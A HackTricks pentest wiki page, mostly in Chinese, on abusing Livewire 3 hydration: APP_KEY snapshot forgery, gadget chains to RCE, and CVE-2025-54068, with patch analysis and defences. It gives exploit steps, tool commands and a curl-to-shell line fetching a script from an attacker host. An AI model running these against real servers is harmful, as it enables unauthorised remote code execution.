Laravel Livewire Hydration & Synthesizer Abuse
Tip
学习并实践 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并实践 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并实践 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
浏览用于评估路线的 完整 HackTricks Training 目录(ARTA/GRTA/AzRTA)以及 Linux Hacking Expert (LHE)。
支持 HackTricks
- 查看 订阅方案!
- 加入 💬 Discord 群组、telegram 群组,关注 X/Twitter 上的 @hacktricks_live,或查看 LinkedIn 页面 和 YouTube 频道。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR,分享 hacking 技巧。
Livewire state machine 回顾
Livewire 3 components 通过包含 data、memo 和 checksum 的 snapshots 交换状态。每次对 /livewire/update 的 POST 都会在 server-side 重新 hydrate JSON snapshot,并执行排队的 calls/updates。
class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}
static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}
任何持有 APP_KEY(用于推导 $hashKey)的人因此都可以通过重新计算 HMAC 来伪造任意 snapshot。
复杂属性会被编码为由 Livewire\Drawer\BaseUtils::isSyntheticTuple() 检测到的 synthetic tuples;每个 tuple 形式为 [value, {"s":"<key>", ...meta}]。hydration core 只是把每个 tuple 委派给在 HandleComponents::$propertySynthesizers 中选中的 synth,并对其子节点递归处理:
protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}
这种递归设计使 Livewire 一旦攻击者控制了元组元数据或递归过程中处理的任何嵌套元组,就会变成一个通用对象实例化引擎。
赋予 gadget 原语的 Synthesizers
| Synthesizer | 攻击者可控行为 |
|---|---|
CollectionSynth (clctn) | 在重新 hydration 每个子项后执行 new $meta['class']($value)。任何带数组构造函数的类都可被创建,而且每个条目本身也可以是一个 synthetic tuple。 |
FormObjectSynth (form) | 调用 new $meta['class']($component, $path),然后通过 $hydrateChild 将攻击者控制的子项中的每个 public property 都赋值进去。只要构造函数接受两个弱类型参数(或默认参数),就足以触达任意 public property。 |
ModelSynth (mdl) | 当 meta 中缺少 key 时,它会执行 return new $class;,允许在攻击者控制下对任意类进行零参数实例化。 |
由于 synths 会对每个嵌套元素调用 $hydrateChild,因此可以通过递归堆叠 tuples 来构建任意 gadget 图。
在已知 APP_KEY 时伪造 snapshot
- 抓取一个合法的
/livewire/update请求并解码components[0].snapshot。 - 注入指向 gadget 类的嵌套 tuples,并重新计算
checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY)。 - 重新编码 snapshot,保持
_token/memo不变,然后重放该请求。
一个最小的执行证明使用 Guzzle 的 FnStream 和 Flysystem 的 ShardedPrefixPublicUrlGenerator。第一个 tuple 用构造函数数据 { "__toString": "phpinfo" } 实例化 FnStream,下一个 tuple 以 [FnStreamInstance] 作为 $prefixes 实例化 ShardedPrefixPublicUrlGenerator。当 Flysystem 将每个 prefix 强制转换为 string 时,PHP 会调用攻击者提供的 __toString callable,从而无参数调用任意函数。
从函数调用到完整 RCE
利用 Livewire 的实例化原语,Synacktiv 改造了 phpggc 的 Laravel/RCE4 链,使 hydration 启动一个对象,其 public Queueable 状态会触发 deserialization:
- Queueable trait – 任何使用
Illuminate\Bus\Queueable的对象都会暴露 public$chained,并在dispatchNextJobInChain()中执行unserialize(array_shift($this->chained))。 - BroadcastEvent wrapper –
Illuminate\Broadcasting\BroadcastEvent(ShouldQueue)通过CollectionSynth/FormObjectSynth实例化,并填充 public$chained。 - phpggc Laravel/RCE4Adapted – 存放在
$chained[0]中的 serialized blob 构造PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed。Signed::__invoke()最终调用call_user_func_array($closure, $args),从而可以执行system($cmd)。 - Stealth termination – 通过提供第二个
FnStreamcallable,例如[new Laravel\Prompts\Terminal(), 'exit'],请求会以exit()结束而不是抛出显眼的异常,从而保持 HTTP 响应干净。
自动化 snapshot 伪造
synacktiv/laravel-crypto-killer 现在提供了一个 livewire 模式来把所有内容串起来:
./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"
该工具解析捕获的 snapshot,注入 gadget tuples,重新计算 checksum,并打印一个可直接发送的 /livewire/update payload。
CVE-2025-54068 – RCE without APP_KEY
According to the vendor advisory,问题影响 Livewire v3(>= 3.0.0-beta.1 且 <= 3.6.3),并且仅存在于 v3。
updates 会在 snapshot checksum 验证之后合并到 component state 中。如果 snapshot 内的某个 property 是(或变成)一个 synthetic tuple,Livewire 在 hydration 攻击者控制的 update value 时会复用其 meta:
protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}
Exploit recipe:
- Find a Livewire component with an untyped public property (e.g.,
public $count;). - Send an update that sets that property to
[]. The next snapshot now stores it as[[], {"s": "arr"}].
A minimal type-juggling flow looks like this:
POST /livewire/update
...
"updates": {"count": []}
Then the next snapshot stores a tuple that keeps the arr synthesizer metadata:
"count": [[], {"s": "arr"}]
- Craft another
updatespayload where that property contains a deeply nested array embedding tuples such as[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]. - During recursion,
hydrate()evaluates each nested child independently, so attacker-chosen synth keys/classes are honoured even though the outer tuple and checksum never changed. - Reuse the same
CollectionSynth/FormObjectSynthprimitives to instantiate a Queueable gadget whose$chained[0]contains the phpggc payload. Livewire processes the forged updates, invokesdispatchNextJobInChain(), and reachessystem(<cmd>)without knowingAPP_KEY.
Key reasons this works:
updatesare not covered by the snapshot checksum.getMetaForPath()trusts whichever synth metadata already existed for that property even if the attacker previously forced it to become a tuple via weak typing.- Recursion plus weak typing lets each nested array be interpreted as a brand new tuple, so arbitrary synth keys and arbitrary classes eventually reach hydration.
High-value pre-auth target: Filament login forms
Applications built on top of Livewire often expose an even easier pre-auth surface than a toy public $count; property. For example, Filament login pages commonly hydrate a weakly typed $form object that is already serialized as a form tuple in the snapshot. That removes the “scalar -> array -> arr tuple” setup step entirely:
- The snapshot already contains something like
{"form":[{...},{"s":"form","class":"App\\Livewire\\Forms\\LoginForm"}]}. - An attacker can send
updates.formwith nested malicious tuples directly, because recursion will eventually reinterpret children such as[payload, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}]. - This is why pre-auth Livewire entrypoints that expose
FormObjectSynthobjects are especially attractive: they already provide both instantiation and public-property assignment.
Patch analysis: preserve raw metadata during update recursion
The fix introduces a dedicated hydratePropertyUpdate() path so nested update values no longer call generic hydrate($child, ...) on attacker-controlled children:
protected function hydratePropertyUpdate($valueOrTuple, $context, $path, $raw)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, function ($name, $child) use ($context, $path, $raw) {
return $this->hydrateForUpdate($raw, "{$path}.{$name}", $child, $context);
});
}
补丁的安全影响:
- 嵌套更新会基于原始 raw snapshot path 重新验证,而不是信任新收到的 attacker-supplied tuple metadata。
- 递归 hydration 不再允许子项在处理中途重新定义
s或class。 - 这同时阻止了任意 synthesizer 切换,以及在嵌套更新数组中进行任意 class 选择。
Livepyre – 端到端利用
Livepyre 自动化处理无 APP_KEY 的 CVE 和 signed-snapshot path:
- 通过解析
<script src="/livewire/livewire.js?id=HASH">(或?v=HASH)来识别已部署的 Livewire 版本,并将该 hash 映射到存在漏洞的 releases。 - 通过重放 benign actions 并提取
components[].snapshot来收集基线 snapshots。 - 生成仅
updates的 payload(CVE-2025-54068)或一个伪造的 snapshot(已知 APP_KEY),其中嵌入 phpggc chain。 - 如果 snapshot 中没有找到 object-typed parameter,Livepyre 会回退到暴力枚举候选参数,以到达一个可强制转换的 property。
典型用法:
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id
# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
-c/--check 运行一个非破坏性的探测,-F 跳过版本门控,-H 和 -P 添加自定义 headers 或 proxies,而 --function/--param 自定义 gadget chain 调用的 php function。
Defensive considerations
- 升级到修复后的 Livewire builds(根据 vendor bulletin,>= 3.6.4)并部署针对 CVE-2025-54068 的 vendor patch。
- 避免在 Livewire components 中使用弱类型 public properties;显式的标量类型可以防止 property values 被强制转换为 arrays/tuples。
- 只注册你真正需要的 synthesizers,并将用户可控的 metadata(
$meta['class'])视为 untrusted。 - 拒绝会改变某个 property 的 JSON type 的更新(例如 scalar -> array),除非明确允许,并重新推导 synth metadata,而不是复用旧的 tuples。
- 在任何 disclosure 之后尽快轮换
APP_KEY,因为它可以实现 offline snapshot forging,无论 code-base 修补得多完善都一样。
References
- Synacktiv – Livewire: Remote Command Execution via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
- GHSA-29cq-5w36-x7w3 – Livewire v3 RCE advisory
- livewire/livewire commit
ef04be7– Fix property update hydration
Tip
学习并实践 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并实践 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并实践 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
浏览用于评估路线的 完整 HackTricks Training 目录(ARTA/GRTA/AzRTA)以及 Linux Hacking Expert (LHE)。
支持 HackTricks
- 查看 订阅方案!
- 加入 💬 Discord 群组、telegram 群组,关注 X/Twitter 上的 @hacktricks_live,或查看 LinkedIn 页面 和 YouTube 频道。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR,分享 hacking 技巧。


